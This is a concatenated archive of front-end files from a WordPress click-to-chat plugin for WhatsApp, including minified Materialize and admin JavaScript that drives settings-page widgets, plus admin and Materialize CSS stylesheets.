_inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this._removeThumb(),this.el.M_Range=void 0}},{key:"_setupEventHandlers",value:function(){this._handleRangeChangeBound=this._handleRangeChange.bind(this),this._handleRangeMousedownTouchstartBound=this._handleRangeMousedownTouchstart.bind(this),this._handleRangeInputMousemoveTouchmoveBound=this._handleRangeInputMousemoveTouchmove.bind(this),this._handleRangeMouseupTouchendBound=this._handleRangeMouseupTouchend.bind(this),this._handleRangeBlurMouseoutTouchleaveBound=this._handleRangeBlurMouseoutTouchleave.bind(this),this.el.addEventListener("change",this._handleRangeChangeBound),this.el.addEventListener("mousedown",this._handleRangeMousedownTouchstartBound),this.el.addEventListener("touchstart",this._handleRangeMousedownTouchstartBound),this.el.addEventListener("input",this._handleRangeInputMousemoveTouchmoveBound),this.el.addEventListener("mousemove",this._handleRangeInputMousemoveTouchmoveBound),this.el.addEventListener("touchmove",this._handleRangeInputMousemoveTouchmoveBound),this.el.addEventListener("mouseup",this._handleRangeMouseupTouchendBound),this.el.addEventListener("touchend",this._handleRangeMouseupTouchendBound),this.el.addEventListener("blur",this._handleRangeBlurMouseoutTouchleaveBound),this.el.addEventListener("mouseout",this._handleRangeBlurMouseoutTouchleaveBound),this.el.addEventListener("touchleave",this._handleRangeBlurMouseoutTouchleaveBound)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("change",this._handleRangeChangeBound),this.el.removeEventListener("mousedown",this._handleRangeMousedownTouchstartBound),this.el.removeEventListener("touchstart",this._handleRangeMousedownTouchstartBound),this.el.removeEventListener("input",this._handleRangeInputMousemoveTouchmoveBound),this.el.removeEventListener("mousemove",this._handleRangeInputMousemoveTouchmoveBound),this.el.removeEventListener("touchmove",this._handleRangeInputMousemoveTouchmoveBound),this.el.removeEventListener("mouseup",this._handleRangeMouseupTouchendBound),this.el.removeEventListener("touchend",this._handleRangeMouseupTouchendBound),this.el.removeEventListener("blur",this._handleRangeBlurMouseoutTouchleaveBound),this.el.removeEventListener("mouseout",this._handleRangeBlurMouseoutTouchleaveBound),this.el.removeEventListener("touchleave",this._handleRangeBlurMouseoutTouchleaveBound)}},{key:"_handleRangeChange",value:function(){s(this.value).html(this.$el.val()),s(this.thumb).hasClass("active")||this._showRangeBubble();var t=this._calcRangeOffset();s(this.thumb).addClass("active").css("left",t+"px")}},{key:"_handleRangeMousedownTouchstart",value:function(t){if(s(this.value).html(this.$el.val()),this._mousedown=!0,this.$el.addClass("active"),s(this.thumb).hasClass("active")||this._showRangeBubble(),"input"!==t.type){var e=this._calcRangeOffset();s(this.thumb).addClass("active").css("left",e+"px")}}},{key:"_handleRangeInputMousemoveTouchmove",value:function(){if(this._mousedown){s(this.thumb).hasClass("active")||this._showRangeBubble();var t=this._calcRangeOffset();s(this.thumb).addClass("active").css("left",t+"px"),s(this.value).html(this.$el.val())}}},{key:"_handleRangeMouseupTouchend",value:function(){this._mousedown=!1,this.$el.removeClass("active")}},{key:"_handleRangeBlurMouseoutTouchleave",value:function(){if(!this._mousedown){var t=7+parseInt(this.$el.css("padding-left"))+"px";s(this.thumb).hasClass("active")&&(e.remove(this.thumb),e({targets:this.thumb,height:0,width:0,top:10,easing:"easeOutQuad",marginLeft:t,duration:100})),s(this.thumb).removeClass("active")}}},{key:"_setupThumb",value:function(){this.thumb=document.createElement("span"),this.value=document.createElement("span"),s(this.thumb).addClass("thumb"),s(this.value).addClass("value"),s(this.thumb).append(this.value),this.$el.after(this.thumb)}},{key:"_removeThumb",value:function(){s(this.thumb).remove()}},{key:"_showRangeBubble",value:function(){var t=-7+parseInt(s(this.thumb).parent().css("padding-left"))+"px";e.remove(this.thumb),e({targets:this.thumb,height:30,width:30,top:-30,marginLeft:t,duration:300,easing:"easeOutQuint"})}},{key:"_calcRangeOffset",value:function(){var t=this.$el.width()-15,e=parseFloat(this.$el.attr("max"))||100,i=parseFloat(this.$el.attr("min"))||0;return(parseFloat(this.$el.val())-i)/(e-i)*t}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Range}},{key:"defaults",get:function(){return i}}]),n}();M.Range=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"range","M_Range"),t.init(s("input[type=range]"))}(cash,M.anime);click-to-chat-for-whatsapp/new/admin/admin_assets/js/admin.js000064400000033652147510273110020206 0ustar00document.addEventListener("DOMContentLoaded",(function(){try{var t=document.querySelectorAll("select");M.FormSelect.init(t,{});t=document.querySelectorAll(".collapsible");M.Collapsible.init(t,{});t=document.querySelectorAll(".modal");M.Modal.init(t,{});t=document.querySelectorAll(".tooltipped");M.Tooltip.init(t,{})}catch(t){}})),function(t){t((function(){try{document.dispatchEvent(new CustomEvent("ht_ctc_fn_all",{detail:{admin_ctc:{},ctc_getItem:a,ctc_setItem:o,intl_init:l,intl_onchange:d}}))}catch(t){}var e={},_=window.ht_ctc_admin_var?window.ht_ctc_admin_var:{};function a(t){return!!e[t]&&e[t]}function o(t,_){e[t]=_;var a=JSON.stringify(e);localStorage.setItem("ht_ctc_admin",a)}localStorage.getItem("ht_ctc_admin")&&(e=localStorage.getItem("ht_ctc_admin"),e=JSON.parse(e));var n={};localStorage.getItem("ht_ctc_storage")&&(n=localStorage.getItem("ht_ctc_storage"),n=JSON.parse(n));try{t("select").formSelect(),t(".collapsible").collapsible(),t(".modal").modal(),t(".tooltipped").tooltip()}catch(t){}try{if(t(document).on("click",".open_tab",(function(){var e=t(this).attr("data-tab");t(".tabs").tabs("select",e),o("woo_tab","#"+e)})),t(document).on("click",".md_tab_li",(function(){var e=t(this).children("a").attr("href");window.location.hash=e,o("woo_tab",e)})),t(".tabs").tabs(),document.querySelector(".ctc-admin-woo-page")&&a("woo_tab")){var c=a("woo_tab");c=c.replace("#",""),setTimeout((()=>{t("[data-tab="+c+"]").trigger("click")}),1200)}}catch(t){}try{!function(e){if(document.querySelector("."+e)){if("undefined"==typeof intlTelInput)throw new Error("intlTelInput not loaded..");t("."+e).each((function(){l(this)})),d()}}("intl_number")}catch(e){t(".greetings_links").hide(),t(".intl_error").show()}var s,i={palettes:["#000000","#FFFFFF","#075e54","#128C7E","#25d366","#DCF8C6","#34B7F1","#ECE5DD","#00a884"],change:function(e,_){try{var a=e.target,o=_.color.toString(),n=t(a).attr("data-update-type"),c=t(a).attr("data-update-selector");n&&c&&(t(c).css(n,o),t(a).attr("data-update-2-type")&&t(a).attr("data-update-2-selector")&&t(t(a).attr("data-update-2-selector")).css(t(a).attr("data-update-2-type"),o))}catch(t){}}};try{t(".ht-ctc-color").wpColorPicker(i)}catch(e){t(".ht-ctc-color").wpColorPicker()}!function(){var e=t(".global_display:checked").val();"show"==e?(t(".global_show_or_hide_icon").addClass("dashicons dashicons-visibility"),t(".hide_settings").show(),t(".show_hide_types .show_btn").attr("disabled","disabled"),t(".show_hide_types .show_box").hide()):"hide"==e&&(t(".global_show_or_hide_icon").addClass("dashicons dashicons-hidden"),t(".show_settings").show(),t(".show_hide_types .hide_btn").attr("disabled","disabled"),t(".show_hide_types .hide_box").hide());t(".global_show_or_hide_label").html("("+e+")"),t(".global_display").on("change",(function(e){var _=e.target.value,a="",o="";t(".hide_settings").hide(),t(".show_settings").hide(),t(".show_hide_types .show_btn").removeAttr("disabled"),t(".show_hide_types .hide_btn").removeAttr("disabled"),t(".show_hide_types .show_box").hide(),t(".show_hide_types .hide_box").hide(),"show"==_?(a="dashicons dashicons-visibility",o="dashicons-hidden",t(".hide_settings").show(500),t(".show_hide_types .show_btn").attr("disabled","disabled"),t(".show_hide_types .hide_box").show()):"hide"==_&&(a="dashicons dashicons-hidden",o="dashicons-visibility",t(".show_settings").show(500),t(".show_hide_types .hide_btn").attr("disabled","disabled"),t(".show_hide_types .show_box").show()),t(".global_show_or_hide_label").html("("+_+")"),t(".global_show_or_hide_icon").removeClass(o),t(".global_show_or_hide_icon").addClass(a)}))}(),function(){var e;(e=t(".select_style_container").attr("data-style"))&&t('.select_style_item[data-style="'+e+'"]').addClass("select_style_selected");t(".select_style_item").on("click",(function(e){t(".select_style_item").removeClass("select_style_selected"),t(this).addClass("select_style_selected");var _=t(this).attr("data-style");t(".select_style_desktop").val(_),t(".customize_styles_link").fadeOut(100).fadeIn(100)})),(e=t(".m_select_style_container").attr("data-style"))&&t('.m_select_style_item[data-style="'+e+'"]').addClass("select_style_selected");t(".m_select_style_item").on("click",(function(e){t(".m_select_style_item").removeClass("select_style_selected"),t(this).addClass("select_style_selected");var _=t(this).attr("data-style");t(".select_style_mobile").val(_)})),t("#select_styles_issue").is(":checked")&&!t(".same_settings").is(":checked")&&t(".select_styles_issue_checkbox").show();t(".select_styles_issue_description").on("click",(function(e){t(".select_styles_issue_checkbox").toggle(500)})),t("#display_allstyles").on("change",(function(e){t(".display_allstyles_description").show(200)})),t(".s1_add_icon").is(":checked")?t(".s1_icon_settings").show():t(".s1_icon_settings").hide();t(".s1_add_icon").on("change",(function(e){t(".s1_add_icon").is(":checked")?t(".s1_icon_settings").show(200):t(".s1_icon_settings").hide(200)}))}(),[".ht_ctc_s2",".ht_ctc_s3",".ht_ctc_s3_1",".ht_ctc_s7"].forEach((function(e){"hide"==t(e+" .select_cta_type").find(":selected").val()&&t(e+" .cta_stick").hide(),t(e+" .select_cta_type").on("change",(function(_){"hide"==_.target.value?t(e+" .cta_stick").hide(100):t(e+" .cta_stick").show(200)}))})),function(){"no-animation"==t(".select_an_type").find(":selected").val()&&(t(".an_delay").hide(),t(".an_itr").hide());t(".select_an_type").on("change",(function(e){"no-animation"==e.target.value?(t(".an_delay").hide(),t(".an_itr").hide()):(t(".an_delay").show(500),t(".an_itr").show(500))}))}(),function(){t(".same_settings").is(":checked")?t(".not_samesettings").hide():t(".not_samesettings").show();t(".same_settings").on("change",(function(e){t(".same_settings").is(":checked")?(t(".not_samesettings").hide(900),t(".select_styles_issue_checkbox").hide()):t(".not_samesettings").show(900)}))}(),function(){t("#notification_badge").is(":checked")?t(".notification_settings ").show():t(".notification_settings ").hide();t("#notification_badge").on("change",(function(e){t("#notification_badge").is(":checked")?t(".notification_settings ").show(400):t(".notification_settings ").hide(400)}))}(),function(){var e=t("#whatsapp_cc").val(),_=t("#whatsapp_number").val();function a(){t(".ht_ctc_wn").html(e+""+_),t("#ctc_whatsapp_number").val(e+""+_)}t("#whatsapp_cc").on("change paste keyup",(function(_){e=t("#whatsapp_cc").val(),a()})),t("#whatsapp_number").on("change paste keyup",(function(e){_=t("#whatsapp_number").val(),a(),_&&0==_.charAt(0)?t(".ctc_wn_initial_zero").show(500):t(".ctc_wn_initial_zero").hide(500)}))}(),s=t(".add_hook_value").attr("data-html"),t(document).on("click",".add_hook_value",(function(){t(".ctc_hook_value").append(s)})),t(".ctc_hook_value").on("click",".hook_remove_value",(function(e){e.preventDefault(),t(this).closest(".additional-value").remove()})),"yes"==(void 0!==screen.width&&screen.width>1024?"no":"yes")&&(t("#whatsapp_cc").attr("data-position","bottom"),t("#whatsapp_number").attr("data-position","bottom")),function(){t(".ga_ads_display").on("click",(function(e){t(".ga_ads_checkbox").toggle(500)}));var e=t("#ctc_save_changes_hover_text").text();t("#submit").attr("title",e),t("#s3_box_shadow").is(":checked")||t(".s3_box_shadow_hover").show();t("#s3_box_shadow").on("change",(function(e){t("#s3_box_shadow").is(":checked")?t(".s3_box_shadow_hover").hide(400):t(".s3_box_shadow_hover").show(500)}))}();try{!function(){var e=t(".woo_single_position_select").find(":selected").val(),_=t(".woo_single_style_select").find(":selected").val();e&&""!==e&&"select"!==e&&t(".woo_single_position_settings").show();e&&"select"==e?n():(_&&"1"==_||"8"==_)&&o();t(".woo_single_position_select").on("change",(function(e){var _=e.target.value,a=t(".woo_single_style_select").find(":selected").val();"select"==_?(t(".woo_single_position_settings").hide(200),n()):(t(".woo_single_position_settings").show(200),"1"!=a&&"8"!=a||o())})),t(".woo_single_style_select").on("change",(function(t){var e=t.target.value;"1"==e||"8"==e?o():n()})),t("#woo_single_position_center").is(":checked")&&t(".woo_single_position_center_checked_content").show();if(t("#woo_single_position_center").on("change",(function(e){t("#woo_single_position_center").is(":checked")?t(".woo_single_position_center_checked_content").show(200):t(".woo_single_position_center_checked_content").hide(100)})),t("#woo_shop_add_whatsapp").is(":checked")){t(".woo_shop_add_whatsapp_settings").show();var a=t(".woo_shop_style").find(":selected").val();"1"!=a&&"8"!=a||c()}function o(){t(".woo_single_position_settings_cart_layout").show(200)}function n(){t(".woo_single_position_settings_cart_layout").hide(200)}function c(){t(".woo_shop_cart_layout").show(200)}function s(){t(".woo_shop_cart_layout").hide(200)}t("#woo_shop_add_whatsapp").on("change",(function(e){if(t("#woo_shop_add_whatsapp").is(":checked")){t(".woo_shop_add_whatsapp_settings").show(200);var _=t(".woo_shop_style").find(":selected").val();"1"!=_&&"8"!=_||c()}else t(".woo_shop_add_whatsapp_settings").hide(100),s(100)})),t(".woo_shop_style").on("change",(function(t){var e=t.target.value;"1"==e||"8"==e?c():s()}))}(),function(){var e=["ht_ctc_s1","ht_ctc_s2","ht_ctc_s3","ht_ctc_s3_1","ht_ctc_s4","ht_ctc_s5","ht_ctc_s6","ht_ctc_s7","ht_ctc_s7_1","ht_ctc_s8","ht_ctc_s99","ht_ctc_webhooks","ht_ctc_animations","ht_ctc_notification","ht_ctc_other_settings","ht_ctc_enable_share_group","ht_ctc_debug","ht_ctc_device_settings","ht_ctc_show_hide_settings","ht_ctc_woo_1","ht_ctc_woo_shop","ctc_g_opt_in","g_content_collapsible","url_structure"];document.querySelector(".coll_active")&&t(".coll_active").each((function(){e.push(t(this).attr("data-coll_active"))}));var _=["ht_ctc_device_settings","ht_ctc_show_hide_settings","ht_ctc_woo_1","ht_ctc_webhooks","ht_ctc_animations","ht_ctc_notification","g_content_collapsible","url_structure"];e.forEach((e=>{var n=a("col_"+e)?a("col_"+e):"";"open"==n?t("."+e+" li").addClass("active"):"close"==n?t("."+e+" li").removeClass("active"):_.includes(e)&&t("."+e+" li").addClass("active"),t("."+e).collapsible({onOpenEnd(){o("col_"+e,"open")},onCloseEnd(){o("col_"+e,"close")}})}))}(),t(".notification_field").on("change",(function(t){!function(t,e){n[t]=e;var _=JSON.stringify(n);localStorage.setItem("ht_ctc_storage",_)}("n_badge","admin_start")})),function(){t("#google_analytics").is(":checked")&&t(".ctc_ga_values").show();t("#google_analytics").on("change",(function(e){t("#google_analytics").is(":checked")?t(".ctc_ga_values").show(400):t(".ctc_ga_values").hide(200)}));var e=t(".ctc_g_an_param_snippets .ht_ctc_g_an_add_param");t(document).on("click",".ctc_add_g_an_param_button",(function(){var _=t(".g_an_param_order").val();_=parseInt(_);var a=e.clone();t(a).find(".g_an_param_order_ref_number").attr("name","ht_ctc_othersettings[g_an_params][]"),t(a).find(".g_an_param_order_ref_number").val("g_an_param_"+_),t(a).find(".ht_ctc_g_an_add_param_key").attr("name",`ht_ctc_othersettings[g_an_param_${_}][key]`),t(a).find(".ht_ctc_g_an_add_param_value").attr("name",`ht_ctc_othersettings[g_an_param_${_}][value]`),t(".ctc_new_g_an_param").append(a),_++,t(".g_an_param_order").val(_)})),t("#fb_pixel").is(":checked")&&t(".ctc_pixel_values").show();t("#fb_pixel").on("change",(function(e){t("#fb_pixel").is(":checked")?t(".ctc_pixel_values").show(400):t(".ctc_pixel_values").hide(200)}));var _=t(".pixel_event_type").find(":selected").val();"trackCustom"==_?t(".pixel_custom_event").show(100):"track"==_&&t(".pixel_standard_event").show(100);t(".pixel_event_type").on("change",(function(e){var _=e.target.value;"trackCustom"==_?(t(".pixel_custom_event").show(200),t(".pixel_standard_event").hide(100)):"track"==_&&(t(".pixel_standard_event").show(200),t(".pixel_custom_event").hide(100))}));var a=t(".ctc_pixel_param_snippets .ht_ctc_pixel_add_param");t(document).on("click",".ctc_add_pixel_param_button",(function(){var e=t(".pixel_param_order").val();e=parseInt(e);var _=a.clone();t(_).find(".pixel_param_order_ref_number").attr("name","ht_ctc_othersettings[pixel_params][]"),t(_).find(".pixel_param_order_ref_number").val("pixel_param_"+e),t(_).find(".ht_ctc_pixel_add_param_key").attr("name",`ht_ctc_othersettings[pixel_param_${e}][key]`),t(_).find(".ht_ctc_pixel_add_param_value").attr("name",`ht_ctc_othersettings[pixel_param_${e}][value]`),t(".ctc_new_pixel_param").append(_),e++,t(".pixel_param_order").val(e)})),t(".ctc_an_params").on("click",".an_param_remove",(function(e){e.preventDefault(),t(this).closest(".ctc_an_param").remove()})),t(".analytics_count_message").on("click",(function(e){t(".analytics_count_select").toggle(200)})),t(".select_analytics").on("change",(function(e){var _=e.target.value;t(".analytics_count_message span").html(_)}))}()}catch(t){}try{t(".ctc_sortable").sortable({cursor:"move",handle:".handle"})}catch(t){}function l(e){var n=t(e).attr("data-name")?t(e).attr("data-name"):"ht_ctc_chat_options[number]";t(e).removeAttr("name");var c=[],s=(new Date).toDateString(),i=a("country_code_date")==s?a("country_code"):"";""==i?(i="us",t.get("https://ipinfo.io",(function(){}),"jsonp").always((function(t){o("country_code",i=t&&t.country?t.country:"us"),o("country_code_date",s),h(i),d()}))):d();var l="";function d(){c=a("pre_countries")?a("pre_countries"):[];var t={autoHideDialCode:!1,initialCountry:"auto",geoIpLookup:function(t,e){t(i)},dropdownContainer:document.body,hiddenInput:function(){return{phone:n,country:"ht_ctc_chat_options[intl_country]"}},nationalMode:!1,countryOrder:c,separateDialCode:!0,containerClass:"intl_tel_input_container",utilsScript:_.utils};l=intlTelInput(e,t)}return l}function d(){t(".intl_number").on("input countrychange",(function(e){var _=intlTelInput.getInstance(this);if(t(this).next('input[type="hidden"]').val(_.getNumber()),window.ht_ctc_admin_demo_var&&(window.ht_ctc_admin_demo_var.number=_.getNumber()),_.isValidNumber()){var a={number:_.getNumber()};document.dispatchEvent(new CustomEvent("ht_ctc_admin_event_valid_number",{detail:{d:a}}))}})),t(".intl_number").on("countrychange",(function(t){h(intlTelInput.getInstance(this).getSelectedCountryData().iso2)}))}function h(t){t=t&&""!==t?t.toUpperCase():"US";var e=a("pre_countries")?a("pre_countries"):[];e.includes(t)||(e.unshift(t),o("pre_countries",e))}}))}(jQuery);click-to-chat-for-whatsapp/new/admin/admin_assets/css/dev/admin.dev.css000064400000011730147510273110022062 0ustar00/* admin css */

.toplevel_page_click-to-chat #wpcontent,
.click-to-chat_page_click-to-chat-greetings #wpcontent,
.click-to-chat_page_click-to-chat-other-settings #wpcontent,
.click-to-chat_page_click-to-chat-customize-styles #wpcontent {
    background-color: #ffffff;
}

/* md related */
.collapsible-header {
    background-color: #fdfdfd;
}

.collapsible-header .dashicons {
    color: #ddd;
}

.collapsible-header .right_icon.dashicons {
    margin-left: auto;
}
/* rtl: left side */
.rtl .collapsible-header .right_icon.dashicons {
    margin-right: auto;
    margin-left: unset;
}
/* rtl: right side */
.rtl .collapsible-header .left_icon.dashicons {
    /* margin-left: auto; */
    margin-right: unset;
}

/* fixed: md. input icon arrow. */
.rtl .select-wrapper .caret {
    right: unset;
    left: 0;
}

.active:not(.have-sub-collapsible) .collapsible-header .dashicons {
    transform: rotate(180deg);
}

.collapsible .dropdown-content li {
    background-color: #ffffff;
}

* {
    scroll-behavior: smooth;
}

/* commons classes styles */
.margin_top_30 {
    margin-top: 30px;
}

.margin_top_20 {
    margin-top: 20px;
}

.m_top_5 {
    margin-top: 5px;
}

.m_side_10 {
    margin-left: 10px;
    margin-right: 10px;
}

.m_side_15 {
    margin-left: 15px;
    margin-right: 15px;
}

.margin_bottom_15 {
    margin-bottom: 15px;
}

.margin_bottom_25 {
    margin-bottom: 25px;
}

.em_1_1 {
    font-size: 1.1em;
}

.em_1_2 {
    font-size: 1.2em;
}

.ht_ctc_show_hide_settings :checked~.dashicons-visibility,
.ht_ctc_show_hide_settings :checked~span .dashicons-visibility,
.ht_ctc_show_hide_settings .show_settings .dashicons-visibility {
    color: green !important;
}

.ht_ctc_show_hide_settings :checked~.dashicons-hidden,
.ht_ctc_show_hide_settings :checked~span .dashicons-hidden,
.ht_ctc_show_hide_settings .hide_settings .dashicons-hidden {
    color: red !important;
}

.show-hide_display-none,
.not_samesettings,
.show_settings,
.hide_settings,
.ctc_greetings_settings,
.ctc_init_display_none {
    display: none;
}

.options .submit {
    position: sticky !important;
    bottom: 1px;
    /* float: right; */
    z-index: 9;
}

.options .submit input {
    letter-spacing: 0.4px;
    padding: 2px 11px;
}

.select_style_selected {
    background-color: #c5c5c5 !important;
}


summary {
    cursor: pointer;
}


/* Editior */
.click-to-chat_page_click-to-chat-greetings .link-target #wp-link-target {
    opacity: 1 !important;
}

.wp-editor-wrap {
    padding-left: 0.75rem;
}

.description.ht_ctc_pro_description {
    /* border-left: 5px solid yellowgreen; */
    border-left: 5px solid lightseagreen;
    padding: 5px 5px 5px 14px;
    margin: 19px 0;
}

.description.ht_ctc_subtitle {
    border-left: 5px solid lightseagreen;
    /* padding: 5px 5px 5px 14px; */
    padding-left: 0.9rem;
    margin: 5px 0;
}

.description.ht_ctc_pro_subtitle {
    border-left: 5px solid darkseagreen;
    /* padding: 5px 5px 5px 14px; */
    padding-left: 0.9rem;
    margin: 5px 0;
}

/* error message */
.description.ht_ctc_error_message {
    color: red;
    font-size: 0.9rem;
    margin-top: 5px;
}

/* .ht_ctc_pro_subtitle_2 {
    text-decoration: underline;
    text-decoration-color: darkseagreen;
} */

.ht_ctc_content_point:before {
    margin: 0px 4px;
    content: "\2022";
}

/* tabs */
.ctc_md_tab {
    border-right: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
    border-left: 1px solid #ddd;
    box-shadow: 0 2px 2px 0 rgb(0 0 0 / 14%), 0 3px 1px -2px rgb(0 0 0 / 12%), 0 1px 5px 0 rgb(0 0 0 / 20%);
    padding: 25px;
}

.tab a {
    color: #000 !important;
}

.tab a.active {
    color: #000 !important;
}

.tabs .indicator {
    background-color: #4f94d4 !important;
}

.tabs a:focus {
    box-shadow: none;
}

.tabs .tab a:focus,
.tabs .tab a:focus.active {
    background-color: #ffffff !important;
}

.tabs.tabs-fixed-width {
    background-color: #ffffff !important;
}

.md_tab {
    scroll-margin-top: 100px;
}


/* desktop - large screens - greater than 1200 */
@media only screen and (min-width: 1201px) {
    .sticky-sidebar {
        position: sticky !important;
        top: 100px;
        float: right;
    }

    .sticky-sidebar .sidebar-content {
        margin-top: 12px;
        margin-left: 80px;
    }


    .ctc_scrollbar {
        height: 86vh;
        overflow-y: auto;
        visibility: hidden;
    }

    .ctc_scrollbar_2,
    .ctc_scrollbar:hover,
    .ctc_scrollbar:focus {
        visibility: visible;
    }

    .ht-ctc-admin-sidebar::-webkit-scrollbar {
        width: 3px;
    }

    .ht-ctc-admin-sidebar::-webkit-scrollbar-track {
        background: #f1f1f1;
    }

    .ht-ctc-admin-sidebar::-webkit-scrollbar-thumb {
        background: #888;
    }

    .ht-ctc-admin-sidebar::-webkit-scrollbar-thumb:hover {
        background: #555;
    }

}click-to-chat-for-whatsapp/new/admin/admin_assets/css/dev/materialize.dev.css000064400000424536147510273110023314 0ustar00.transparent {
    background-color: rgba(0, 0, 0, 0) !important
}

.transparent-text {
    color: rgba(0, 0, 0, 0) !important
}

html {
    line-height: 1.15;
    -ms-text-size-adjust: 100%;
    -webkit-text-size-adjust: 100%
}

body {
    margin: 0
}

article,
aside,
footer,
header,
nav,
section {
    display: block
}

h1 {
    font-size: 2em;
    margin: .67em 0
}

figcaption,
figure,
main {
    display: block
}

figure {
    margin: 1em 40px
}

hr {
    -webkit-box-sizing: content-box;
    box-sizing: content-box;
    height: 0;
    overflow: visible
}

pre {
    font-family: monospace, monospace;
    font-size: 1em
}

a {
    background-color: transparent;
    -webkit-text-decoration-skip: objects
}

abbr[title] {
    border-bottom: none;
    text-decoration: underline;
    -webkit-text-decoration: underline dotted;
    -moz-text-decoration: underline dotted;
    text-decoration: underline dotted
}

b,
strong {
    font-weight: inherit;
    font-weight: bolder
}

code,
kbd,
samp {
    font-family: monospace, monospace;
    font-size: 1em
}

dfn {
    font-style: italic
}

mark {
    background-color: #ff0;
    color: #000
}

small {
    font-size: 80%
}

sub,
sup {
    font-size: 75%;
    line-height: 0;
    position: relative;
    vertical-align: baseline
}

sub {
    bottom: -.25em
}

sup {
    top: -.5em
}

audio,
video {
    display: inline-block
}

audio:not([controls]) {
    display: none;
    height: 0
}

img {
    border-style: none
}

svg:not(:root) {
    overflow: hidden
}

button,
input,
optgroup,
select,
textarea {
    font-family: sans-serif;
    font-size: 100%;
    line-height: 1.15;
    margin: 0
}

button,
input {
    overflow: visible
}

button,
select {
    text-transform: none
}

button,
html [type="button"],
[type="reset"],
[type="submit"] {
    -webkit-appearance: button
}

button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
    border-style: none;
    padding: 0
}

button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
    outline: 1px dotted ButtonText
}

fieldset {
    padding: .35em .75em .625em
}

legend {
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    color: inherit;
    display: table;
    max-width: 100%;
    padding: 0;
    white-space: normal
}

progress {
    display: inline-block;
    vertical-align: baseline
}

textarea {
    overflow: auto
}

[type="checkbox"],
[type="radio"] {
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    padding: 0
}

[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
    height: auto
}

[type="search"] {
    -webkit-appearance: textfield;
    outline-offset: -2px
}

[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
    -webkit-appearance: none
}

::-webkit-file-upload-button {
    -webkit-appearance: button;
    font: inherit
}

details,
menu {
    display: block
}

summary {
    display: list-item
}

canvas {
    display: inline-block
}

template {
    display: none
}

[hidden] {
    display: none
}

html {
    -webkit-box-sizing: border-box;
    box-sizing: border-box
}

*,
:before,
:after {
    -webkit-box-sizing: inherit;
    box-sizing: inherit
}

button,
input,
optgroup,
select,
textarea {
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif
}

ul:not(.browser-default) {
    padding-left: 0;
    list-style-type: none
}

ul:not(.browser-default)>li {
    list-style-type: none
}

a {
    color: #039be5;
    text-decoration: none;
    -webkit-tap-highlight-color: transparent
}

.valign-wrapper {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
    -webkit-align-items: center;
    -ms-flex-align: center;
    align-items: center
}

.clearfix {
    clear: both
}

.z-depth-0 {
    box-shadow: none !important
}

.z-depth-1,
nav,
.card-panel,
.card,
.toast,
.btn,
.btn-large,
.btn-small,
.btn-floating,
.dropdown-content,
.collapsible,
.sidenav {
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.12), 0 1px 5px 0 rgba(0, 0, 0, 0.2)
}

.z-depth-1-half,
.btn:hover,
.btn-large:hover,
.btn-small:hover,
.btn-floating:hover {
    box-shadow: 0 3px 3px 0 rgba(0, 0, 0, 0.14), 0 1px 7px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -1px rgba(0, 0, 0, 0.2)
}

.z-depth-2 {
    box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.3)
}

.z-depth-3 {
    box-shadow: 0 8px 17px 2px rgba(0, 0, 0, 0.14), 0 3px 14px 2px rgba(0, 0, 0, 0.12), 0 5px 5px -3px rgba(0, 0, 0, 0.2)
}

.z-depth-4 {
    box-shadow: 0 16px 24px 2px rgba(0, 0, 0, 0.14), 0 6px 30px 5px rgba(0, 0, 0, 0.12), 0 8px 10px -7px rgba(0, 0, 0, 0.2)
}

.z-depth-5,
.modal {
    box-shadow: 0 24px 38px 3px rgba(0, 0, 0, 0.14), 0 9px 46px 8px rgba(0, 0, 0, 0.12), 0 11px 15px -7px rgba(0, 0, 0, 0.2)
}

.hoverable {
    transition: box-shadow .25s;
    transition: box-shadow .25s, -webkit-box-shadow .25s
}

.hoverable:hover {
    box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19)
}

.divider {
    height: 1px;
    overflow: hidden;
    background-color: #e0e0e0
}

blockquote {
    margin: 20px 0;
    padding-left: 1.5rem;
    border-left: 5px solid #ee6e73
}

i {
    line-height: inherit
}

i.left {
    float: left;
    margin-right: 15px
}

i.right {
    float: right;
    margin-left: 15px
}

i.tiny {
    font-size: 1rem
}

i.small {
    font-size: 2rem
}

i.medium {
    font-size: 4rem
}

i.large {
    font-size: 6rem
}

img.responsive-img,
video.responsive-video {
    max-width: 100%;
    height: auto
}

.pagination li {
    display: inline-block;
    border-radius: 2px;
    text-align: center;
    vertical-align: top;
    height: 30px
}

.pagination li a {
    color: #444;
    display: inline-block;
    font-size: 1.2rem;
    padding: 0 10px;
    line-height: 30px
}

.pagination li.active a {
    color: #fff
}

.pagination li.active {
    background-color: #ee6e73
}

.pagination li.disabled a {
    cursor: default;
    color: #999
}

.pagination li i {
    font-size: 2rem
}

.pagination li.pages ul li {
    display: inline-block;
    float: none
}

@media only screen and (max-width: 992px) {
    .pagination {
        width: 100%
    }

    .pagination li.prev,
    .pagination li.next {
        width: 10%
    }

    .pagination li.pages {
        width: 80%;
        overflow: hidden;
        white-space: nowrap
    }
}

.breadcrumb {
    font-size: 18px;
    color: rgba(255, 255, 255, 0.7)
}

.breadcrumb i,
